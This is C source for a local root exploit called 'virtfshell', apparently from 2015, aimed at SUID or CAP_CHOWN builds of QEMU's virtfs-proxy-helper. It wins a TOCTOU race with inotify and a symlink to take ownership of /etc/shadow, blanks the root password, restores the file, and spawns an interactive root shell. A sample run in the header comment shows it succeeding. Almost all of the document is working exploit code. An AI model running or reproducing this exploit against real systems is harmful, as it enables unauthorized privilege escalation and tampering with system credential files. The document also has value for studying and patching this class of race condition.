/* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Trying to win race, attempt 749 * [+] Chown'd /etc/shadow, elevating to root * [+] Cleaning up * [+] Spawning root shell * thinkpad zx2c4 # whoami * root * */ #include <stdio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> static int it_worked(void) { struct stat sbuf = { 0 }; stat("/etc/shadow", &sbuf); return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); } int main(int argc, char **argv) { int fd; pid_t pid; char uid[12], gid[12]; size_t attempts = 0; sprintf(uid, "%d", getuid()); sprintf(gid, "%d", getgid()); printf("== Virtfshell - by zx2c4 ==/n"); printf("[+] Beginning race loop/n"); while (!it_worked()) { printf("/033[1A/033[2K[+] Trying to win race, attempt %zu/n", ++attempts); fd = inotify_init(); unlink("/tmp/virtfshell/sock"); mkdir("/tmp/virtfshell", 0777); inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); pid = fork(); if (pid == -1) continue; if (!pid) { close(0); close(1); close(2); execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL); _exit(1); } read(fd, 0, 0); unlink("/tmp/virtfshell/sock"); symlink("/etc/shadow", "/tmp/virtfshell/sock"); close(fd); kill(pid, SIGKILL); wait(NULL); } printf("[+] Chown'd /etc/shadow, elevating to root/n"); system( "cp /etc/shadow /tmp/original_shadow;" "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;" "cat /tmp/modified_shadow > /etc/shadow;" "su -c '" " echo [+] Cleaning up;" " cat /tmp/original_shadow > /etc/shadow;" " chown root:root /etc/shadow;" " rm /tmp/modified_shadow /tmp/original_shadow;" " echo [+] Spawning root shell;" " exec /bin/bash -i" "'"); return 0; }
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